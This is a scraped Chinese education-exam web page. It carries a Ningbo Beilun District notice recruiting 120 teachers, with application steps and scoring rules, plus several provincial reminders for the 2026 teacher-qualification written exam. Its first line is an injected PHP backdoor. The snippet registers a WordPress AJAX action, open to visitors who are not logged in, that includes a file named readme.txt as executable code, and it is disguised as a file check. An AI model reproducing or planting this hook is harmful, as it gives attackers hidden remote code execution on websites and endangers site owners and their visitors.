if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
浙江省宁波市北仑区教育局2025年事业编制教师招聘公告(120名)-全国教师资格考试网

浙江省宁波市北仑区教育局2025年事业编制教师招聘公告(120名)

为推进北仑教育高质量发展,加强教育人才队伍建设,经研究,决定面向优秀高校毕业生公开招聘“港城教育英才”储备人才(事业编制)120名,现将招聘具体事项公告如下:

一、北仑区简介

北仑位于世界第一大港核心港区、浙江省陆地最东端,是潮涌东方、港通天下的门户,是浙江省对外开放时间最早、开放程度最高、国家级开发开放功能区最为集中的区域,是中国长三角南翼最重要的经济强区和先进制造业基地,综合实力位列全国区(县、市)第一方阵。近年来,北仑区先后创建成为全国学前教育普及普惠区、义务教育优质均衡发展区,成为在全国率先完成“两县创建”的区县之一。北仑高度注重教育人才引育工作,对全日制本科毕业于国内知名高校的毕业生,且符合紧缺人才等相关要求的,给予最高30万元安家补助。

二、拟招聘岗位及指标:120名。

浙江师范大学考点:80名,华东师范大学考点:20名,东北师范大学考点:20名。

具体招聘岗位、指标及专业要求等详见《“港城教育英才”储备人才招聘岗位指标及报考专业要求》(详见附件一)。

本次考试各环节所涉及的时间、地点将通过http://www.bl.gov.cn/col/col1229055237/index.html(北仑区人民政府官网—站群导航—区教育局—法定主动公开内容—公告公示通知)或“北仑教育”微信公众号发布。

三、招聘原则

1.条件公开,操作规范,公平公正;

2.岗位公开,标准统一,接受监督;

3.程序公开,严格测试,择优聘用。

四、招聘对象及条件

(一)招聘对象

1.国内普通高等学校2025年(含2023年、2024年)应届大学本科及以上学历和学士及以上学位毕业生;国(境)外高校2022年10月1日后毕业的大学本科及以上学历和学士及以上学位毕业生。

2.具备招聘岗位所需的其他条件。

(二)招聘条件

1.报考对象具有中华人民共和国国籍,遵守国家法律、法规,无违纪处分及违法犯罪记录,身心健康。

2.2025年应届高校毕业生须在2025年9月30日(含)前取得所需的学历学位证书(博士可放宽至2025年12月31日)。国(境)外高校毕业生报考时可凭国(境)外学籍证明报名,但必须于2025年12月31日前取得教育部中国留学服务中心出具的国(境)外学历、学位认证书,专业相近的以所学课程为准。上述时间以学历学位证书或认证书的落款时间为准,未在规定时间取得相应学历学位证书或认证书的不予录用。

3.网络教育、成人教育和独立学院毕业生不列入本次招考范围。

五、招聘程序和办法

(一)报名

1.报名要求

此次报名采取网络报名,网上报名时间为公告发布之日起至2024年11月2日12:00。

考生登录https://nbbljy.wjx.cn/vm/wrZswLC.aspx,填报相关信息并提交报名表(附件三)。

请考生仔细阅读有关内容,如实填写有关信息。(信息不实或发现不符招录条件的,无论在任何环节何时发现,一律取消报考、招用资格,已经聘用的,解除聘用关系)。如有重复报名,以该报考人最后一次填写信息为准。逾期不再受理报名。

每位考生只允许选择上述考点的其中一个考点、其中一个岗位报考,不得兼报,否则视作无效报名。

2.现场资格审核

(1)浙江师范大学考点

报到时间:11月3日下午13:00-17:00,报到地点:浙江师范大学16幢教学楼一楼中厅(金华市婺城区迎宾大道688号)。

(2)华东师范大学考点和东北师范大学考点现场资格审核相关事项将通过http://www.bl.gov.cn/col/col1229055237/index.html(北仑区人民政府官网—站群导航—区教育局—法定主动公开内容—公告公示通知)或“北仑教育”微信公众号发布。

资格审核后如果符合条件的报名人数不足招聘指标3倍的,则酌情减少或取消招聘指标。资格审核材料详见《附件四:现场资格确认材料清单》。考生未在规定时间内到达审核现场或现场资格审核不合格的不再参与之后的程序。

(二)考试

考试采用现场初试、笔试、面试形式,总成绩计算方法:总成绩=笔试成绩×40%+面试成绩×60%。具体要求请随时关注http://www.bl.gov.cn/col/col1229055237/index.html(北仑区人民政府官网—站群导航—区教育局—法定主动公开内容—公告公示通知)或“北仑教育”微信公众号。

1.初试

浙江师范大学考点:初试时间初定在11月4日,报到地点初定浙江师范大学5幢教学楼124教室(金华市婺城区迎宾大道688号)。

华东师范大学考点、东北师范大学考点,初试时间、地点另行通知。

通过现场资格审核的报考人员凭本人身份证参加初试。初试形式为结构化面试,主要考察应聘者教育教学理念、口头表达能力、应变能力、分析能力、回答问题准确性和举止仪表等。初试采用百分制,70分为合格分,不足70分者不再参与之后的程序。初试成绩不计入总成绩,未准时参加初试的视作自动放弃应聘资格。在初试成绩合格人员中按招聘岗位指标1:6的比例从高分到低分确定拟进入笔试对象,比例内最后一名分数并列的全部入围,不足比例的按实际人数入围。

2.笔试

笔试形式为综合知识测试,满分100分。笔试对象根据准考证上的时间、地点和要求参加考试。不按规定时间、地点参加笔试的,视作放弃笔试,不再进入之后的程序。

3.面试

根据笔试成绩从高分到低分按1:3的比例确定入围面试对象,比例内最后一名分数并列的全部入围,不足比例的按实际人数入围。

面试形式为试讲(根据学科分教材试讲和解题试讲),面试满分100分,面试成绩不足70分者淘汰。试讲内容为招聘岗位相应学段学科内容。

面试对象不按规定的时间、地点参加面试的,视作放弃面试,不再进入之后的程序。

(三)签约、体检、考察与录用

1.签约

根据总成绩从高分到低分,按学科岗位指标1∶1的比例确定拟录用人员,进行签约,符合条件的考生不足1:1的,按照符合条件的人数确定。总分出现并列时,按照笔试成绩、面试成绩、初试成绩的优先级顺序和单项成绩从高分到低分确定拟录用人员,若各项成绩均相等,则采用加试的方式确定拟录用人员。签约当天,考生需随身携带资格复审需要材料,以便工作人员对资料进行再次复核。当场与拟录用人员签订《毕业生就业协议书》及《双方协议书》(由北仑区教育局统一提供)。除协议书约定的条款外,如拟录用人员体检、考察不合格的,协议自动解除。

2.体检

体检安排在浙江省宁波市(具体另行通知),所有进入体检名单的考生均需参加体检。体检按照《浙江省教师资格认定体检工作实施办法(试行)》执行。体检不合格者,所签协议自动解除;放弃体检或不在规定时间内参加体检者,所签协议自动解除并视作违约。体检费用由考生本人承担。

3.考察

体检合格者进入考察。招聘单位将对体检合格者的思想政治表现、道德品质、业务能力、工作实绩等情况进行详细考察。考察工作参照《公务员录用考察办法(试行)》(中组发〔2021〕11号)等公务员录用考察相关文件规定执行,考察不合格者淘汰。

4.公示

根据考试成绩、体检结果和考察情况,确定拟录用人员名单,按规定程序在http://www.bl.gov.cn/col/col1229055237/index.html(北仑区人民政府官网—站群导航—区教育局—法定主动公开内容—公告公示通知)上公示7个工作日。公示期满后,无反映问题或反映问题经查不影响录用的,按规定办理录用手续。反映问题经查影响录用的,不予录用。对所反映问题一时难以查实的,暂缓录用,待查清后再决定是否录用。

5.录用

(1)拟录用人员逾期不按规定报到的,或不能在规定时间内取得规定学历、学位等相关证书的,或不能在2025年12月31日前将人事档案调至北仑区教育局的,取消录用资格。拟录用人员取消录用资格的空缺指标不再递补。

(2)拟录用人员个人档案中有不符合录用规定的,取消录用资格。

(3)录用人员由北仑区教育局统一分配到下属中小学工作并至少服务满5年(包括试用期)。

六、其他事项

(一)有关招聘信息请随时关注http://www.bl.gov.cn/col/col1229055237/index.html(北仑区人民政府官网—站群导航—区教育局—法定主动公开内容—公告公示通知)。

(二)在体检、签约环节若因考生放弃体检、体检不合格、放弃签约等原因,出现岗位空缺的,在本岗位面试合格人员(面试成绩70分及以上)中按照总成绩从高分到低分顺序确定递补人员(如总分出现并列时,按照面试成绩、笔试成绩、初试成绩的优先级顺序和单项成绩从高分到低分确定递补人员,若各项成绩均相等,则采用加试的方式确定递补人员)。其它各环节出现名额空缺的,不再递补。

(三)拟录用人员,在高校允许的情况下,需根据招录教育局统一安排参加顶岗实习。

(四)其他未尽事项由宁波市北仑区教育局负责解释。

(五)联系电话:0574-89383955,董老师、王老师。

(六)监督电话:北仑区教育局党建科:0574-89383956,吴老师、乐老师。

宁波市北仑区教育局

2024年10月24日

附件一:港城教育英才”储备人才招聘岗位指标及报考专业要求.xlsx

附件二:全国部分高校名单及国(境)外高校世界大学排名索引.docx

附件三:“港城教育英才”招聘储备人才报名表.docx

附件四:现场资格确认材料清单.docx

附件五:引进高校毕业生相关人才政策.docx

关于《2025年宁波市北仑区教育局面向优秀高校毕业生公开招聘“港城教育英才”储备人才公告》的补充公告

因场地等因素影响,浙江师范大学考点11月3号的现场审核时间调整为13:00-20:00,请各位考生本人或受委托人带齐所需材料到现场进行资格审核。

北仑区教育局

2024年10月25日

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部